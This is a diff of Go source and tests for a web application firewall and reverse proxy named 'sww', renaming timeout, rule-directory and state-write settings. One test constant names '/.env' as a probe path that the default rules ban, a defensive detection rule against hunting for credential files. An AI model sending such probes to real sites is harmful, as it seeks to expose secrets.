NetV6Prefix: 48,
|
||||||
NamedNetblocks: []anomaly.NamedNetblock{
|
NamedNetblocks: []anomaly.NamedNetblock{
|
||||||
|
|||||||
@@ -33,9 +33,9 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
exited := make(chan int, 1)
|
exited := make(chan int, 1)
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
}
|
}
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
@@ -120,7 +120,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
|
|
||||||
// Another setting does not fail it, even an invalid one, and neither does
|
// Another setting does not fail it, even an invalid one, and neither does
|
||||||
// SWW_RPROXY_WAF_BACKEND being unset.
|
// SWW_RPROXY_WAF_BACKEND being unset.
|
||||||
wantHealthCheck(t, settings("SWW_RPROXY_TIMEOUT_MS", "soon"), 0, "")
|
wantHealthCheck(
|
||||||
|
t,
|
||||||
|
settings("SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", "soon"),
|
||||||
|
0,
|
||||||
|
"",
|
||||||
|
)
|
||||||
|
|
||||||
// Another test can take a closed server's port at once, so the app's
|
// Another test can take a closed server's port at once, so the app's
|
||||||
// address here is a multicast address, to which TCP cannot connect.
|
// address here is a multicast address, to which TCP cannot connect.
|
||||||
|
|||||||
@@ -15,10 +15,11 @@ import (
|
|||||||
|
|
||||||
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
||||||
// requests until ctx is done. Then it gives the requests in progress
|
// requests until ctx is done. Then it gives the requests in progress
|
||||||
// shutdownTimeout to finish, and the reports being sent SWW_RPROXY_TIMEOUT_MS. It
|
// shutdownTimeout to finish, and the reports being sent
|
||||||
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
|
||||||
// messages name the host's name as instance, and it writes those at info or
|
// when rproxy cannot start. Its process messages name the host's name as
|
||||||
// more severe: rproxy has no setting for either.
|
// instance, and it writes those at info or more severe: rproxy has no
|
||||||
|
// setting for either.
|
||||||
func RunRProxy(ctx context.Context, params Params) int {
|
func RunRProxy(ctx context.Context, params Params) int {
|
||||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||||
processLog := requestlog.NewProcessLogger(
|
processLog := requestlog.NewProcessLogger(
|
||||||
|
|||||||
+13
-12
@@ -31,8 +31,8 @@ const (
|
|||||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
||||||
// rproxyUpstreamURL is the setting that says where the app is.
|
// rproxyUpstreamURL is the setting that says where the app is.
|
||||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
||||||
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
|
||||||
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||||
// bannedProbe is a path the default rule file bans a client for.
|
// bannedProbe is a path the default rule file bans a client for.
|
||||||
bannedProbe = "/.env"
|
bannedProbe = "/.env"
|
||||||
// otherClient is a client the tests do not ban.
|
// otherClient is a client the tests do not ban.
|
||||||
@@ -135,9 +135,9 @@ func wafSettings(t *testing.T) map[string]string {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return map[string]string{
|
return map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -241,12 +241,13 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
|
|||||||
forwardTo("")
|
forwardTo("")
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
// With waf down, the site answers, and rproxy says the default did it.
|
// With waf down, the site answers, and rproxy says
|
||||||
|
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
|
||||||
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
||||||
|
|
||||||
line := out.line(t, "path", "/after-stop")
|
line := out.line(t, "path", "/after-stop")
|
||||||
if line["disposition"] != waf.DispositionAllow ||
|
if line["disposition"] != waf.DispositionAllow ||
|
||||||
line["default_disposition"] != true {
|
line["waf_backend_no_answer"] != true {
|
||||||
t.Errorf("rproxy's line is %v", line)
|
t.Errorf("rproxy's line is %v", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -475,7 +476,7 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
line := out.line(t, "path", "admin")
|
line := out.line(t, "path", "admin")
|
||||||
if line["disposition"] != nil || line["default_disposition"] != nil {
|
if line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||||
t.Errorf("rproxy's line is %v, want no disposition", line)
|
t.Errorf("rproxy's line is %v, want no disposition", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -496,7 +497,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
|
|||||||
|
|
||||||
line := out.line(t, "path", bannedProbe)
|
line := out.line(t, "path", bannedProbe)
|
||||||
if line["client_ip"] != "2001:db8::1" ||
|
if line["client_ip"] != "2001:db8::1" ||
|
||||||
line["default_disposition"] != nil {
|
line["waf_backend_no_answer"] != nil {
|
||||||
t.Errorf("rproxy's line is %v", line)
|
t.Errorf("rproxy's line is %v", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -691,7 +692,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
rproxyListenAddr: localhost + ":0",
|
rproxyListenAddr: localhost + ":0",
|
||||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
||||||
rproxyTimeout: "60000",
|
wafBackendTimeout: "60000",
|
||||||
wafBackend: backend.URL,
|
wafBackend: backend.URL,
|
||||||
}
|
}
|
||||||
out := &output{}
|
out := &output{}
|
||||||
@@ -855,8 +856,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{"no backend", wafBackend, nil},
|
{"no backend", wafBackend, nil},
|
||||||
{
|
{
|
||||||
"another invalid", rproxyTimeout,
|
"another invalid", wafBackendTimeout,
|
||||||
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
|
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
|||||||
+29
-29
@@ -116,7 +116,7 @@ func RunWAF(ctx context.Context, params Params) int {
|
|||||||
processLog := requestlog.NewProcessLogger(params.Stdout,
|
processLog := requestlog.NewProcessLogger(params.Stdout,
|
||||||
config.InstanceName(params.Viper), slog.LevelError)
|
config.InstanceName(params.Viper), slog.LevelError)
|
||||||
|
|
||||||
cfg, err := config.FromEnvironment(params.Viper)
|
cfg, err := config.WAFFromEnvironment(params.Viper)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(processLog, "invalid setting", err)
|
return cannotStart(processLog, "invalid setting", err)
|
||||||
}
|
}
|
||||||
@@ -159,7 +159,7 @@ func RunWAF(ctx context.Context, params Params) int {
|
|||||||
func runWAFWithSettings(
|
func runWAFWithSettings(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
version string,
|
version string,
|
||||||
cfg *config.Config,
|
cfg *config.WAF,
|
||||||
stdout io.Writer,
|
stdout io.Writer,
|
||||||
remote *remotelog.Sender,
|
remote *remotelog.Sender,
|
||||||
processLog *slog.Logger,
|
processLog *slog.Logger,
|
||||||
@@ -170,8 +170,8 @@ func runWAFWithSettings(
|
|||||||
alertQueue := newAlertQueue(cfg, now, processLog)
|
alertQueue := newAlertQueue(cfg, now, processLog)
|
||||||
|
|
||||||
ruleFiles, err := rules.Load(rules.Params{
|
ruleFiles, err := rules.Load(rules.Params{
|
||||||
Dir: cfg.RulesDir,
|
Dir: cfg.RuleFilesDir,
|
||||||
Enabled: cfg.RulesEnabled,
|
Enabled: cfg.RuleFilesEnabled,
|
||||||
ProcessLog: processLog,
|
ProcessLog: processLog,
|
||||||
Alerts: alertQueue,
|
Alerts: alertQueue,
|
||||||
})
|
})
|
||||||
@@ -246,7 +246,7 @@ func cannotStart(processLog *slog.Logger, message string, err error) int {
|
|||||||
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
|
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
|
||||||
// database that cannot be read is an error.
|
// database that cannot be read is an error.
|
||||||
func newServer(
|
func newServer(
|
||||||
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
|
cfg *config.WAF, stdout io.Writer, processLog *slog.Logger,
|
||||||
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
||||||
crs *coreruleset.CoreRuleSet,
|
crs *coreruleset.CoreRuleSet,
|
||||||
) (*waf.Server, error) {
|
) (*waf.Server, error) {
|
||||||
@@ -293,33 +293,33 @@ func newServer(
|
|||||||
// loadStateFiles reads the state and cache files into the parts of server and
|
// loadStateFiles reads the state and cache files into the parts of server and
|
||||||
// into alertQueue, as state.Load does.
|
// into alertQueue, as state.Load does.
|
||||||
func loadStateFiles(
|
func loadStateFiles(
|
||||||
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
|
cfg *config.WAF, server *waf.Server, alertQueue *alerts.Queue,
|
||||||
now func() time.Time, processLog *slog.Logger,
|
now func() time.Time, processLog *slog.Logger,
|
||||||
) (*state.Files, error) {
|
) (*state.Files, error) {
|
||||||
return state.Load(state.Params{
|
return state.Load(state.Params{
|
||||||
Dir: cfg.StateDir,
|
Dir: cfg.StateDir,
|
||||||
CacheDir: cfg.CacheDir,
|
CacheDir: cfg.CacheDir,
|
||||||
WriteDelay: cfg.StateWriteDelay,
|
BansWriteDelay: cfg.BansWriteDelay,
|
||||||
CounterInterval: cfg.StateCounterInterval,
|
WriteInterval: cfg.StateWriteInterval,
|
||||||
Ledger: server.Ledger,
|
Ledger: server.Ledger,
|
||||||
Limiter: server.Limiter,
|
Limiter: server.Limiter,
|
||||||
GeoJS: server.GeoJS,
|
GeoJS: server.GeoJS,
|
||||||
Lists: server.Lists,
|
Lists: server.Lists,
|
||||||
DNSBL: server.DNSBL,
|
DNSBL: server.DNSBL,
|
||||||
AbuseIPDB: server.AbuseIPDB,
|
AbuseIPDB: server.AbuseIPDB,
|
||||||
RouteWatch: server.RouteWatch,
|
RouteWatch: server.RouteWatch,
|
||||||
Alerts: alertQueue,
|
Alerts: alertQueue,
|
||||||
Anomalies: server.Anomalies,
|
Anomalies: server.Anomalies,
|
||||||
Now: now,
|
Now: now,
|
||||||
ProcessLog: processLog,
|
ProcessLog: processLog,
|
||||||
Metrics: server.Metrics,
|
Metrics: server.Metrics,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
|
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
|
||||||
// ntfy, with the settings for them.
|
// ntfy, with the settings for them.
|
||||||
func newAlertQueue(
|
func newAlertQueue(
|
||||||
cfg *config.Config, now func() time.Time, processLog *slog.Logger,
|
cfg *config.WAF, now func() time.Time, processLog *slog.Logger,
|
||||||
) *alerts.Queue {
|
) *alerts.Queue {
|
||||||
return alerts.New(alerts.Params{
|
return alerts.New(alerts.Params{
|
||||||
WebhookURL: cfg.AlertWebhookURL,
|
WebhookURL: cfg.AlertWebhookURL,
|
||||||
@@ -338,13 +338,13 @@ func newAlertQueue(
|
|||||||
|
|
||||||
// newRemoteLogSender returns a sender of the log lines to
|
// newRemoteLogSender returns a sender of the log lines to
|
||||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
||||||
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
|
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
||||||
return remotelog.New(remotelog.Params{
|
return remotelog.New(remotelog.Params{
|
||||||
URL: cfg.LogRemoteURL,
|
URL: cfg.LogRemoteURL,
|
||||||
RootCAs: cfg.LogRemoteTLSCAs,
|
RootCAs: cfg.LogRemoteTLSCAs,
|
||||||
Buffer: cfg.LogRemoteBuffer,
|
BufferLines: cfg.LogRemoteBufferLines,
|
||||||
Facility: cfg.LogRemoteFacility,
|
Facility: cfg.LogRemoteFacility,
|
||||||
AppName: cfg.LogRemoteAppName,
|
AppName: cfg.LogRemoteAppName,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
|||||||
Scheme: remotelog.SchemeTCP,
|
Scheme: remotelog.SchemeTCP,
|
||||||
Host: "127.0.0.1:65536",
|
Host: "127.0.0.1:65536",
|
||||||
},
|
},
|
||||||
Buffer: 1,
|
BufferLines: 1,
|
||||||
})
|
})
|
||||||
|
|
||||||
stopSending := startSending(t.Context(), sender,
|
stopSending := startSending(t.Context(), sender,
|
||||||
|
|||||||
+70
-66
@@ -34,20 +34,20 @@ const (
|
|||||||
// testVersion is the version the tests give sww.
|
// testVersion is the version the tests give sww.
|
||||||
testVersion = "test"
|
testVersion = "test"
|
||||||
// localhost is where the tests listen.
|
// localhost is where the tests listen.
|
||||||
localhost = "127.0.0.1"
|
localhost = "127.0.0.1"
|
||||||
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
||||||
stateDir = "SWW_WAF_STATE_DIR"
|
stateDir = "SWW_WAF_STATE_DIR"
|
||||||
stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
|
bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY"
|
||||||
stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
|
stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL"
|
||||||
cacheDir = "SWW_WAF_CACHE_DIR"
|
cacheDir = "SWW_WAF_CACHE_DIR"
|
||||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||||
rulesDir = "SWW_WAF_RULES_DIR"
|
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
|
||||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||||
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set.
|
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set.
|
||||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||||
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
|
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
|
||||||
@@ -246,9 +246,9 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: taken.Addr().String(),
|
listenAddr: taken.Addr().String(),
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Errorf("exit status %d, want 1", status)
|
t.Errorf("exit status %d, want 1", status)
|
||||||
@@ -268,9 +268,9 @@ func TestServesUntilToldToStop(t *testing.T) {
|
|||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
exited <- run(ctx, map[string]string{
|
exited <- run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -320,7 +320,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
|
|||||||
exited <- run(ctx, map[string]string{
|
exited <- run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
||||||
"SWW_WAF_LOG_LEVEL": "warn",
|
"SWW_WAF_LOG_LEVEL": "warn",
|
||||||
}, out)
|
}, out)
|
||||||
@@ -361,7 +361,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}
|
}
|
||||||
@@ -398,12 +398,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "2",
|
rateLimitPerDay: "2",
|
||||||
// Neither comes due in the test: the files are written as
|
// Neither comes due in the test: the files are written as
|
||||||
// sww stops.
|
// sww stops.
|
||||||
stateWriteDelay: "1h",
|
bansWriteDelay: "1h",
|
||||||
stateCounterInterval: "1h",
|
stateWriteInterval: "1h",
|
||||||
}
|
}
|
||||||
|
|
||||||
// The two requests a day allows, and a stop.
|
// The two requests a day allows, and a stop.
|
||||||
@@ -434,7 +434,7 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "1",
|
rateLimitPerDay: "1",
|
||||||
scope: "24",
|
scope: "24",
|
||||||
}
|
}
|
||||||
@@ -478,13 +478,13 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
|
|||||||
|
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
// No write comes due in the test, so only the watch on the
|
// No write comes due in the test, so only the watch on the
|
||||||
// directory can take the edits in.
|
// directory can take the edits in.
|
||||||
stateWriteDelay: "1h",
|
bansWriteDelay: "1h",
|
||||||
stateCounterInterval: "1h",
|
stateWriteInterval: "1h",
|
||||||
}
|
}
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -508,14 +508,14 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) {
|
|||||||
|
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
adminToken: adminSecret,
|
adminToken: adminSecret,
|
||||||
// Neither comes due in the test: the files are written as
|
// Neither comes due in the test: the files are written as
|
||||||
// sww stops.
|
// sww stops.
|
||||||
stateWriteDelay: "1h",
|
bansWriteDelay: "1h",
|
||||||
stateCounterInterval: "1h",
|
stateWriteInterval: "1h",
|
||||||
}
|
}
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -551,9 +551,9 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
|
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: dir,
|
ruleFilesDir: dir,
|
||||||
// The requests sent until the rule takes effect must not break a
|
// The requests sent until the rule takes effect must not break a
|
||||||
// rate limit, whose ban would refuse them too.
|
// rate limit, whose ban would refuse them too.
|
||||||
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
|
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
|
||||||
@@ -602,13 +602,17 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||||
|
|
||||||
wantRulesRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
|
wantRulesRefused(
|
||||||
": no such file or directory")
|
t,
|
||||||
|
dir,
|
||||||
|
"SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
||||||
|
": no such file or directory",
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
||||||
@@ -620,7 +624,7 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -652,8 +656,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||||
"SWW_WAF_CORE_RULE_SET_MODE": config.WAFModeOff,
|
"SWW_WAF_CORE_RULE_SET_MODE": config.CoreRuleSetModeOff,
|
||||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -675,7 +679,7 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
lookupSource: "file",
|
lookupSource: "file",
|
||||||
@@ -788,7 +792,7 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
cacheDir: cache,
|
cacheDir: cache,
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
"SWW_WAF_BLOCKLIST_URLS": torURL,
|
"SWW_WAF_BLOCKLIST_URLS": torURL,
|
||||||
@@ -874,7 +878,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
|||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
cacheDir: cache,
|
cacheDir: cache,
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
|
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
|
||||||
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
|
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
|
||||||
}
|
}
|
||||||
@@ -957,7 +961,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||||
lookupSource: "file", lookupDBPath: path,
|
lookupSource: "file", lookupDBPath: path,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -992,7 +996,7 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1049,14 +1053,14 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
|
